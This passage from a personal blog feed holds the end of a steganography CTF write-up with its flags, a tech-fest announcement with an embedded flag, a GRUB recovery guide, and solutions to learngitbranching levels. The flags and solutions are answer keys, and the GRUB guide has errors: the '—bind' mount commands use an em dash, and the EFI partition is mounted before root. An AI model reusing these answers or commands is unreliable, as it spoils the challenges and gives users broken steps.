<pre><code class="lang-bash">chmod 777 boatrescue
</code></pre>
<p>Don’t get confused as the <code>string boatrescue</code> provided flag is not correct</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736519549521/0db4e3ab-1290-4ee7-9dc4-9cc80cceff4e.png" alt class="image--center mx-auto" /></p>
<p>Use <code>ghdira</code> to retrieve the real flag</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736519404386/9b31fc1c-9726-41e3-a8ec-41ed743a7bf6.png" alt class="image--center mx-auto" /></p>
<p>use these to decode the hex we get <code>33700</code> which provides us flag: <code>i-CES{9UE5S3d_C0Ns74Nt_H4SH3d_NUm63R}</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736519445384/a177749b-ce43-4753-84a7-94d945e0b2f8.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-steganography">Steganography</h1>
<h2 id="heading-fire">Fire:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736265007372/13466d67-98ec-45cf-ad5d-85e36c3dfdba.png" alt class="image--center mx-auto" /></p>
<p>We can use <code>steghide</code> command to extract the metadata in the file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736519887217/f7445fb4-d1ec-404f-8f69-8945f1b73303.png" alt class="image--center mx-auto" /></p>
<p>Enter passphrase is empty you can directly press enter to get the metadata.</p>
<p>on <code>cat</code> it provides random text so we need to <code>string</code> out the output text</p>
<pre><code class="lang-bash">strings steganopayload29731.txt
</code></pre>
<p>This still gives us many values so let’s filter them</p>
<pre><code class="lang-bash">strings stegnopatload29731.txt | grep {*}
</code></pre>
<p>we get our flag where <code>grep {*}</code> Search for <code>{</code> and <code>}</code> pattern.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736520077826/739d066d-2570-4b19-959f-85aeb1a2fee5.png" alt class="image--center mx-auto" /></p>
<p>Add i-CES in front and the flag is complete.</p>
<p><code>i-CES{f1NA11y_IM_free3e_THaNK5}</code></p>
<h2 id="heading-monkey">Monkey:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736265039667/46814baa-8fb0-467c-8d4d-7a9f459d0629.png" alt class="image--center mx-auto" /></p>
<p>Check the file type of <code>monkey.jpg</code>. Use <code>steghide</code> command to extract first without a password.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736521432525/80951509-5d51-4252-a92a-c8435b1161c6.png" alt class="image--center mx-auto" /></p>
<p>unzip the <code>heheboi.zip</code> file which provides us with folder files in which one of them is a flag so instead of decoding we will write a simple script</p>
<p>Create a script named <code>sol.sh</code></p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

<span class="hljs-comment"># Function to check if a string is valid Base64</span>
<span class="hljs-function"><span class="hljs-title">is_base64</span></span>() {
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$1</span>"</span> | base64 --decode 2&gt;/dev/null | grep -q -P <span class="hljs-string">'^\S+$'</span>
}

<span class="hljs-comment"># Loop through all files in the "files" directory</span>
<span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> files/*; <span class="hljs-keyword">do</span>
    <span class="hljs-comment"># Check if it's a regular file</span>
    <span class="hljs-keyword">if</span> [ -f <span class="hljs-string">"<span class="hljs-variable">$file</span>"</span> ]; <span class="hljs-keyword">then</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"==== Decoding: <span class="hljs-variable">$file</span> ===="</span>
        content=$(cat <span class="hljs-string">"<span class="hljs-variable">$file</span>"</span>)

        <span class="hljs-comment"># Check if the content is valid Base64</span>
        <span class="hljs-keyword">if</span> is_base64 <span class="hljs-string">"<span class="hljs-variable">$content</span>"</span>; <span class="hljs-keyword">then</span>
            <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$content</span>"</span> | base64 -d
        <span class="hljs-keyword">else</span>
            <span class="hljs-built_in">echo</span> <span class="hljs-string">"Skipping: <span class="hljs-variable">$file</span> (Invalid Base64 data)"</span>
        <span class="hljs-keyword">fi</span>

        <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\n==========\n"</span>
    <span class="hljs-keyword">else</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"Skipping: <span class="hljs-variable">$file</span> (Not a regular file)"</span>
    <span class="hljs-keyword">fi</span>
<span class="hljs-keyword">done</span>
</code></pre>
<p>Save the file and change the mode to executable for now let’s use <code>777</code></p>
<pre><code class="lang-bash">chmod 777 sol.sh
./sol.sh
</code></pre>
<p>This will give all the output without filtering so let’s use grep to get the desired output</p>
<pre><code class="lang-bash">./sol.sh | grep -a <span class="hljs-string">'i-CES'</span> --color=none
</code></pre>
<p>flag: <code>i-CES{D1D_Y0U_11kE_y0UR_1m49E}</code></p>
<h2 id="heading-cid">CID:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736265084252/aae9d498-a27a-433d-a8e4-44fb6396adfe.png" alt class="image--center mx-auto" /></p>
<p>The file type is shown <code>jpeg</code> and when <code>steghide</code> is used it does not open without a passphrase so check if the <code>exiftool</code> has the pass to <code>treasure</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736525021842/7d887c04-4d07-4a9a-9de2-309ef8f489ac.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736525043313/73ea0119-336a-4386-ad14-d357bdac0e7d.png" alt class="image--center mx-auto" /></p>
<p>Here <code>exiftool</code> has exciting file <code>License</code> which is seen to be a hex let’s try to decode it which yields the output <code>FoRY0U7h@T5h3X</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736525168211/b787d36e-5cd3-4f7c-8677-1b53c313bf66.png" alt class="image--center mx-auto" /></p>
<p>paste the password to the passphrase we get out metadata in <code>zip</code> file lets extract</p>
<pre><code class="lang-bash">└─$ unzip daya_pata_laga.zip 
Archive:  daya_pata_laga.zip
 extracting: badeharamiho.zip        
  inflating: waitaminute
</code></pre>
<p>So now we have two files waitaminute has a binary file which on decoding we get</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736525268821/8d7f4122-1557-4008-bb49-63b0bd15e561.png" alt class="image--center mx-auto" /></p>
<p>Paste the output in the mousepad and find for the term <code>pass</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736525306648/6f4a8c2f-f5e9-4210-b2dc-5ad088fec3e2.png" alt class="image--center mx-auto" /></p>
<p>We get <code>Thisisfakeoneword</code> let's save this data if we need this</p>
<p>using the<code>unzip</code> command asked for the password so provide <code>Thisisfakeoneword</code> as the password that will unzip the file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736525401365/cea9a24f-a6a6-40f7-a810-8279b96198c8.png" alt class="image--center mx-auto" /></p>
<p>Viewing this each flag has a different type of encoded text so there must be a hint to find it which was the passphrase <code>FoRY0U7h@T5h3X</code> This said <code>For You Thats hex</code> so let’s search for the hex.</p>
<p>For this, we will write a script</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> {0..18}; <span class="hljs-keyword">do</span>
    file=<span class="hljs-string">"flag<span class="hljs-variable">$i</span>.txt"</span>

    <span class="hljs-comment"># Check if the file exists</span>
    <span class="hljs-keyword">if</span> [ ! -f <span class="hljs-string">"<span class="hljs-variable">$file</span>"</span> ]; <span class="hljs-keyword">then</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"File <span class="hljs-variable">$file</span> does not exist!"</span>
        <span class="hljs-built_in">continue</span>
    <span class="hljs-keyword">fi</span>

    <span class="hljs-comment"># Check if the content of the file is valid hexadecimal</span>
    <span class="hljs-keyword">if</span> grep -q <span class="hljs-string">'^[0-9a-fA-F]*$'</span> <span class="hljs-string">"<span class="hljs-variable">$file</span>"</span>; <span class="hljs-keyword">then</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$file</span> is encoded in hexadecimal."</span>
    <span class="hljs-keyword">else</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$file</span> is not hexadecimal."</span>
    <span class="hljs-keyword">fi</span>
<span class="hljs-keyword">done</span>
</code></pre>
<p>On executing this <code>hex.sh</code> file after <code>chmod 777 hex.sh</code> we can find which has hex and which does not</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736525793021/ca87424f-e562-4fde-bf6b-19ed9d259e03.png" alt class="image--center mx-auto" /></p>
<p>decode each hexadecimal file.</p>
<pre><code class="lang-bash"> mv flag0.txt flag2.txt flag7.txt flag8.txt flag13.txt flag15.txt flag18.txt ./hexfiles
</code></pre>
<p>using this command to separate the hex files</p>
<p>Decoding each we found base32 encoded in <code>flag18</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736526079325/3f2bbbe3-5c29-4489-ae50-88150d603bda.png" alt class="image--center mx-auto" /></p>
<p>While baking we found that this was encoded multiple times after <code>hex</code> <code>base32</code> <code>base64</code> <code>morse code</code> <code>base32</code> <code>hex</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736526273771/e34cd37d-8ffe-412f-a2e4-4c1f91169a6f.png" alt class="image--center mx-auto" /></p>
<p>Which yields the flag: <code>i-CES{StE9ANo9R4Phy_3NC0d3_anD_dEc0dE}</code></p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Hope you enjoy reading the above writeups. Feel free to provide feedback.</p>
]]></content:encoded></item><item><title><![CDATA[TechParva3.0]]></title><description><![CDATA[TechParva 3.0, organized by i-CES (Innovation Club of Electronics and Software), is a flagship technology event designed to inspire and empower tech enthusiasts, innovators, and learners. This premier gathering serves as a vibrant platform to explore...]]></description><link>https://blog.giriamrit.com.np/techparva3</link><guid isPermaLink="true">https://blog.giriamrit.com.np/techparva3</guid><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Fri, 03 Jan 2025 11:43:49 GMT</pubDate><content:encoded><![CDATA[<p>TechParva 3.0, organized by <strong>i-CES (Innovation Club of Electronics and Software)</strong>, is a flagship technology event designed to inspire and empower tech enthusiasts, innovators, and learners. This premier gathering serves as a vibrant platform to explore cutting-edge advancements in electronics and software, fostering creativity, collaboration, and real-world problem-solving.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735904412650/1ee944c9-4d99-4dc8-9a2f-42521bb7aab6.png" alt class="image--center mx-auto" /></p>
<p>With a dynamic lineup of activities, TechParva 3.0 offers an unparalleled experience. Attendees can participate in <strong>engaging workshops</strong> to gain hands-on knowledge of trending technologies, while <strong>coding competitions</strong> and unique events like <strong>"Design and Code with Coffee"</strong> combine creativity, productivity, and camaraderie in a relaxed and innovative setting. Flag: i-CES{0P3N_50urC3_In73ll1g3nCe}. This event provides participants with a chance to collaborate on design and development projects over a shared love for coding and coffee.</p>
<p>One of the event's highlights is the <strong>"Babypwn: CTF" (Capture The Flag)</strong>, a thrilling cybersecurity competition that challenges participants to solve real-world problems in digital security. It’s a platform for budding cybersecurity enthusiasts to test and enhance their skills in ethical hacking and vulnerability assessment.</p>
<p>For data enthusiasts, the <strong>Datathon</strong> offers an exciting opportunity to dive into the world of data science and analytics. Participants are encouraged to analyze, interpret, and derive actionable insights from datasets, pushing the boundaries of their analytical capabilities.</p>
<p>Complementing these events are <strong>thought-provoking hackathons</strong> that foster innovation and teamwork, alongside <strong>insightful talks and panel discussions</strong> from industry experts and leaders. These sessions are designed to share valuable knowledge on emerging trends and inspire attendees to pursue impactful technological solutions.</p>
<p>TechParva 3.0 is a convergence of students, professionals, and tech enthusiasts who share a passion for technology and innovation. By offering a rich blend of learning, competition, and collaboration, this event creates a thriving ecosystem for nurturing ideas and forging impactful solutions to real-world challenges.</p>
<p>Whether you're into cybersecurity, data science, creative coding, or just eager to learn and connect, <strong>TechParva 3.0</strong> has something for everyone. It’s more than an event—it’s a celebration of ingenuity and a launchpad for transformative ideas. Come, join us, and experience the magic of technology in action!</p>
]]></content:encoded></item><item><title><![CDATA[Fixing Linux Crashes and GRUB Issues After Updates]]></title><description><![CDATA[If you're encountering system crashes after rebooting following an update or upgrade, this guide will help you troubleshoot and resolve the issue. The following steps outline the process I used to fix the problem on my system successfully.
Let us loo...]]></description><link>https://blog.giriamrit.com.np/linux-crashes-after-updates</link><guid isPermaLink="true">https://blog.giriamrit.com.np/linux-crashes-after-updates</guid><category><![CDATA[Linux]]></category><category><![CDATA[debian]]></category><category><![CDATA[grub]]></category><category><![CDATA[Grub Configuration]]></category><category><![CDATA[Updates]]></category><category><![CDATA[upgrade]]></category><category><![CDATA[crash]]></category><category><![CDATA[fix]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Tue, 01 Oct 2024 16:52:05 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/NLSXFjl_nhc/upload/365f08705af14220fec20788115ef4d3.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you're encountering system crashes after rebooting following an update or upgrade, this guide will help you troubleshoot and resolve the issue. The following steps outline the process I used to fix the problem on my system successfully.</p>
<p>Let us look into the <strong>GRUB</strong> configuration first.</p>
<h2 id="heading-grub-configuration">GRUB configuration</h2>
<p>To fix your GRUB configuration by booting into a live USB environment, follow these steps:</p>
<ol>
<li><h3 id="heading-create-a-bootable-usb">Create a Bootable USB:</h3>
<p> First, you’ll need a bootable USB drive with a Linux distribution. You can use tools like Rufus (on Windows) or <code>dd</code> (on Linux) to create this.</p>
<p> <strong><mark>Rufus</mark></strong> is simply a GUI which can be used to make USB bootable.</p>
<p> <strong><mark>dd</mark></strong> is used in a shell in a Linux system with the command line of</p>
<p> <code>sudo dd if=path/to/file.iso of=/dev/&lt;device-name&gt; bs=1M status=progress</code></p>
</li>
<li><h3 id="heading-boot-from-usb">Boot from USB</h3>
<p> Insert the USB drive into your computer and boot from it entering the BIOS setup or using the boot menu. The menu is often accessed by pressing keys like F2, F10, F12, ESC during boot which is dependent upon the <strong>vendor</strong>.</p>
</li>
<li><h3 id="heading-open-a-terminal">Open a Terminal</h3>
<p> Once you’ve booted into the live environment as a guest, then fire up the terminal to perform the remaining steps.</p>
</li>
<li><h3 id="heading-identify-partitions">Identify Partitions</h3>
<p> Identify the partitions of your installed Linux system. You can use the GUI <code>gparted</code> which can be installed using the command <code>sudo apt install gparted</code> or can be used <code>lsblk</code> or <code>fdisk -l</code> command to list the partitions. Look for your root partition and your <strong>EFI</strong> or boot partition (if applicable).</p>
</li>
<li><h3 id="heading-mount-the-partitions">Mount the Partitions</h3>
<p> Mount the necessary partitions. You’ll need to mount the root partition and the <code>EFI/boot partition</code>(if applicable).</p>
<p> Let us assume <code>/dev/sda2</code> is your root partition and <code>/dev/sda1</code> is your EFI/boot partition then we can use the following command to mount:</p>
<p> <code>sudo mount /dev/sda1 /mnt/boot/efi #only if you have EFI file</code></p>
<p> <code>sudo mount /dev/sda2 /mnt</code></p>
</li>
<li><h3 id="heading-bind-mount-system-directories">Bind Mount System Directories</h3>
<p> Bind mount the necessary system directories. The bind option of the mount command allows you to remount part of a file hierarchy at a different location while it is still available at the original location.</p>
<p> <code>sudo mount —bind /dev /mnt/dev</code></p>
<p> <code>sudo mount —bind /proc /mnt/proc</code></p>
<p> <code>sudo mount —bind /sys /mnt/sys</code></p>
<p> <code>sudo mount —bind /run /mnt/run</code></p>
</li>
<li><h3 id="heading-chroot-into-mounted-system">Chroot into Mounted System</h3>
<p> Change root into the mounted system:</p>
<p> <code>sudo chroot /mnt</code></p>
</li>
<li><h3 id="heading-edit-grub-configuration">Edit GRUB Configuration</h3>
<p> Now, you can edit the <strong>GRUB</strong> configuration file. Open the GRUB configuration file located <code>/etc/default/grub</code> using any text editor, such as nvim, vim, nano or any other editor.</p>
<p> <strong>using nano</strong>: <code>nano /etc/default/grub</code></p>
<p> <strong>using vim</strong>: <code>vim /etc/default/grub</code></p>
<p> Find the line that sets the <strong>GRUB timeout</strong> and change it. For example, change</p>
<p> <code>GRUB_TIMEOUT=0</code> to <code>GRUB_TIMEOUT=10</code>.</p>
<p> Save the file and exit the editor (in <code>nano</code>, you can save by pressing <code>CTRL+O</code>, to exit <code>CTRL+X</code>; in <code>vim or nvim</code> press <code>esc</code> and then type <code>:wq</code> which will save and exit.</p>
</li>
<li><h3 id="heading-update-grub">Update GRUB</h3>
<p> To apply the changes you made just runt the command</p>
<p> <code>update-grub</code></p>
</li>
<li><h3 id="heading-exit-chroot-and-umount-partitions">Exit Chroot and Umount Partitions</h3>
<p>Exit the Chroot environment and unmount the partitions</p>
<p><code>exit</code></p>
<p><code>sudo umount /mnt/boot/efi</code></p>
<p><code>sudo umount /mnt/dev</code></p>
<p><code>sudo umount /mnt/proc</code></p>
<p><code>sudo umount /mnt/sys</code></p>
<p><code>sudo umount /mnt/run</code></p>
<p><code>sudo umount /mnt</code></p>
</li>
<li><h3 id="heading-reboot">Reboot</h3>
<p>Finally, reboot your system</p>
<p><code>sudo reboot</code></p>
</li>
</ol>
<p>Remove the USB drive and let your system boot normally. The GRUB menu should now appear with the updated timeout value. By these steps, you should be able to edit your GRUB configuration and fix the issue with the boot menu not showing.</p>
<h2 id="heading-update-error-system-not-rebooting">Update error system not rebooting</h2>
<p>For this case, Follow the above steps up to <code>7</code> then run</p>
<p><code>sudo apt update &amp;&amp; sudo apt upgrade</code></p>
<p>using the above command you can be able to recover your system.</p>
<p>If the system still through the error then follow the steps:</p>
<ol>
<li><h3 id="heading-connect-to-internet">Connect to internet</h3>
<p> Make sure your <code>PC</code> is connected to the internet either by ethernet or wireless.</p>
</li>
<li><h3 id="heading-manually-download-the-deb-files">Manually Download the deb files</h3>
<p> When running the command <code>sudo apt update</code> or <code>sudo apt upgrade</code> when there is any error like suppose <code>libglibd-2.0-0</code>. If so, then visit the link <a target="_blank" href="https://packages.debian.org/stable/libs/libglibd-2.0-0"><code>https://packages.debian.org/stable/libs/libglibd-2.0-0</code></a> from where depending upon your system you have to download <strong><em>manually</em></strong> and install using <code>dpkg</code>.</p>
<p> Repeat the process until <code>update</code> or <code>upgrade</code> stops throwing errors. After the success of <code>update and upgrade</code> move to next step.</p>
</li>
<li><h3 id="heading-reboot-1">Reboot</h3>
<p> After the success in <code>update</code> and <code>upgrade</code> of the system <code>reboot</code> the system and remove <code>USB</code> and let your system boot normally.</p>
</li>
</ol>
<p>Whether it's editing the GRUB timeout, addressing boot menu visibility, or recovering from update errors, these methods provide a reliable way to troubleshoot common issues. If you continue to encounter problems, make sure to check for specific error messages, consult the community for guidance and do proper research before you apply. By applying the above methods, the problem within my system was solved.</p>
]]></content:encoded></item><item><title><![CDATA[Learning Git and GitHub]]></title><description><![CDATA[Learngitbranching.js.org

Main
Introduction Sequence
1. Introduction to Commits

A commit in git repository records a snapshot of all the tracked files in your directory.

It’s like gaint copy and paste but even better

to solve
  

Solution


$ git ...]]></description><link>https://blog.giriamrit.com.np/learning-git-and-github</link><guid isPermaLink="true">https://blog.giriamrit.com.np/learning-git-and-github</guid><category><![CDATA[GitHub]]></category><category><![CDATA[Git]]></category><category><![CDATA[Write Up]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Tue, 02 Jul 2024 06:48:46 GMT</pubDate><content:encoded><![CDATA[<p><a target="_blank" href="http://Learngitbranching.js.org">Learngitbranching.js.org</a></p>
<hr />
<h1 id="heading-main">Main</h1>
<h2 id="heading-introduction-sequence"><strong>Introduction Sequence</strong></h2>
<h3 id="heading-1-introduction-to-commits">1. Introduction to Commits</h3>
<ul>
<li><p>A commit in git repository records a snapshot of all the tracked files in your directory.</p>
</li>
<li><p>It’s like gaint copy and paste but even better</p>
</li>
<li><p>to solve</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902106698/79d196bc-ad11-463e-aea1-df59a2cec843.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Solution</p>
</li>
</ul>
<pre><code class="lang-bash">$ git commit
$ git commit
</code></pre>
<h3 id="heading-2-branching-in-git">2. Branching in Git</h3>
<ul>
<li><p>Branches in Git are incredibly lightweight as well.</p>
</li>
<li><p>They simply point to a specific commit.</p>
</li>
<li><p>To solve</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902115786/a8756a28-21f6-47a5-88c8-5852918d0893.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Solution</p>
</li>
</ul>
<pre><code class="lang-bash">$ git checkout -b bugFix
</code></pre>
<h3 id="heading-3-merging-in-git">3. Merging in Git</h3>
<ul>
<li><p>Merge combines the work from two different branches together.</p>
</li>
<li><p>This will allow us to branch off, develop new features and then combine them back in.</p>
</li>
<li><p>To solve</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902132333/31d0a32e-e498-498b-a597-1691ac85fadd.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Solution</p>
</li>
</ul>
<pre><code class="lang-bash">$ git checkout -b bugFix
$ git commit
$ git checkout main
$ git commit
$ git merge bugFix
</code></pre>
<h3 id="heading-4-rebase-introduction">4. Rebase Introduction</h3>
<ul>
<li><p>This is the second way of combining work between branches</p>
</li>
<li><p>Rebasing essentially takes a set of commits, "copies" them, and plops them down somewhere else.</p>
</li>
<li><p>To solve</p>
</li>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902195006/6735adf9-fd40-4d24-bf69-3be03745786c.png" alt class="image--center mx-auto" /></p>
<p>  Solution</p>
</li>
</ul>
<pre><code class="lang-bash">$ git checkout -b bugFix
$ git commit
$ git checkout main
$ git commit
$ git checkout bugFix
$ git rebase main
</code></pre>
<h2 id="heading-ramping-up">Ramping Up</h2>
<h3 id="heading-1-detach-yo-head">1. Detach yo’ Head</h3>
<ul>
<li><p>HEAD is the symbolic name for the currently checked out commit -- it's essentially what commit you're working on top of.</p>
</li>
<li><p>HEAD always points to the most recent commit which is reflected in the working tree.</p>
</li>
<li><p>To solve,</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902217015/20ae3739-8b39-4e67-a03e-4ae5417948ba.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Solution</p>
</li>
</ul>
<pre><code class="lang-bash">$ git checkout c4
</code></pre>
<h3 id="heading-2-relative-refs">2. Relative Refs (^)</h3>
<ul>
<li><p>Hashes are usually a lot longer in the real Git world as well.</p>
<ul>
<li><p>Moving upwards one commit at a time with <code>^</code></p>
</li>
<li><p>Moving upwards several times with <code>~&lt;num&gt;</code></p>
</li>
</ul>
</li>
<li><p>So saying <code>main^</code> is equivalent to "the first parent of <code>main</code>".</p>
</li>
<li><p><code>main^^</code> is the grandparent (second-generation ancestor) of <code>main</code></p>
</li>
<li><p>To solve</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902222939/01604fef-0838-40a9-a3f8-95a61e621e0c.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git checkout C4^
</code></pre>
<h3 id="heading-3-relative-ref">3. Relative Ref (~)</h3>
<ul>
<li><p>The tilde operator (optionally) takes in a trailing number that specifies the number of parents you would like to ascend.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902230853/e8ae606b-1023-43b9-a13d-e8f7b7a138d5.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git checkout HEAD~1
$ git branch -f main C6
$ git branch -f bugFix C0
</code></pre>
<h3 id="heading-4-reversing-changes-in-githttplearngitbranchingjsorg">4. Reversing Changes in <a target="_blank" href="http://Learngitbranching.js.org">Git</a></h3>
<ul>
<li><p><code>git reset</code> reverses changes by moving a branch reference backwards in time to an older commit.</p>
</li>
<li><p>To reverse changes and <em>share</em> those reversed changes with others, we need to use <code>git revert</code>.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902234825/8a5ed38b-4ae1-4b35-ad20-e66fc336546f.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git branch -f <span class="hljs-built_in">local</span> C1
$ git checkout pushed
$ git revert pushed
</code></pre>
<h2 id="heading-moving-work-around">Moving Work Around</h2>
<h3 id="heading-1-cherry-pick-intro">1. Cherry-pick Intro</h3>
<ul>
<li><p>The first command in this series is called <code>git cherry-pick</code>. It takes on the following form:</p>
<ul>
<li><code>git cherry-pick &lt;Commit1&gt; &lt;Commit2&gt; &lt;...&gt;</code></li>
</ul>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902240509/d74f25f9-d98d-4566-b3d8-8a7ca7e2eeb5.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git cherry-pick C3 C4 C7
</code></pre>
<h3 id="heading-2-interactive-rebase-introhttplearngitbranchingjsorg">2. Interactive Rebase In<a target="_blank" href="http://Learngitbranching.js.org">tro</a></h3>
<ul>
<li><p>Git cherry-pick is great when you know which commits you want</p>
</li>
<li><p>But what about the situation where you don't know what commits you want? Thankfully git has you covered there as well! We can use interactive rebasing for this</p>
</li>
<li><p>All interactive rebase means Git is using the <code>rebase</code> command with the <code>-i</code> option.</p>
</li>
<li><p>For "real" git, the UI window means opening up a file in a text editor like <code>vim</code></p>
</li>
</ul>
<pre><code class="lang-bash">rebase -i HEAD~
</code></pre>
<ul>
<li>To solve,</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902264242/c2eba586-16dd-4d92-81b1-5ab41a7f737f.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git rebase -i HEAD~4
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902297340/b44143b8-3644-41e1-ad29-98d5f31206d1.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-a-mixed-bug">A Mixed Bug</h2>
<h3 id="heading-1-grabbing-just-one-commit">1. Grabbing just one commit</h3>
<ul>
<li>To solve,</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902300992/55fd072a-0742-4e3c-965c-61a494d12e51.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git checkout main
$ git cherry-pick C4

OR

$ git rebase -i HEAD~3
$ git checkout main
$ git merge bugFix
</code></pre>
<h3 id="heading-2-juggling-commits">2. Juggling Commits</h3>
<ul>
<li><p>We will re-order the commits so the one we want to change is on top with <code>git rebase -i</code></p>
</li>
<li><p>We will <code>git commit --amend</code> to make a slight modification</p>
</li>
<li><p>Then we will re-order the commits back to how they were previously with <code>git rebase -i</code></p>
</li>
<li><p>Finally, we will move main to this updated part of the tree to finish the level (via the method of your choosing)</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902312349/cfac683c-ad86-45f0-b552-f1ab5d4ff769.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git rebase -i HEAD~2
$ git commit --amend
$ git rebase -i HEAD~2
$ git checkout main
$ git merge caption

OR

$ git rebase -i HEAD~2
$ git commit --amend
$ git rebase -i HEAD~2
$ git rebase caption main
</code></pre>
<h3 id="heading-3-juggling-commits-2">3. Juggling Commits #2</h3>
<ul>
<li>To solve</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902316043/2e156e35-0e0d-440b-b548-5563ff637d7a.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git checkout main
$ git cherry-pick C2
$ git commit --amend
$ git cherry-pick C3
</code></pre>
<h3 id="heading-4-git-tags">4. Git Tags</h3>
<ul>
<li><p>Branches are easily mutated, often temporary, and always changing.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902319924/5dd809c0-0e2a-4028-8fdf-9f07b6e7ee60.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git checkout HEAD~1
$ git tag v1
$ git tag v0 C1
</code></pre>
<h3 id="heading-5-git-describe">5. Git Describe</h3>
<ul>
<li><p>Because tags serve as such great "anchors" in the codebase, git has a command to <em>describe</em> where you are relative to the closest "anchor" (aka tag). And that command is called <code>git describe</code>!</p>
</li>
<li><p>To solve,</p>
</li>
<li><p>motive is to learn about <code>git describe</code></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902325082/9499ece2-9d02-4044-8486-ff68c0c20177.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution is simple <code>git commit</code> but let’s check the git describe command and view the output</li>
</ul>
<pre><code class="lang-bash">$ git describe main
$ git describe side
$ git describe bugFix
$ git commit
</code></pre>
<ul>
<li>We see that, by using this command we get the tag name how much behind that commit and from which node</li>
</ul>
<h2 id="heading-advanced-topics">Advanced Topics</h2>
<h3 id="heading-1-rebasing-over-9000-times">1. Rebasing over 9000 times</h3>
<ul>
<li>To solve,</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902337983/704107dc-3aed-4950-bcd9-dc5d5c9713ac.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
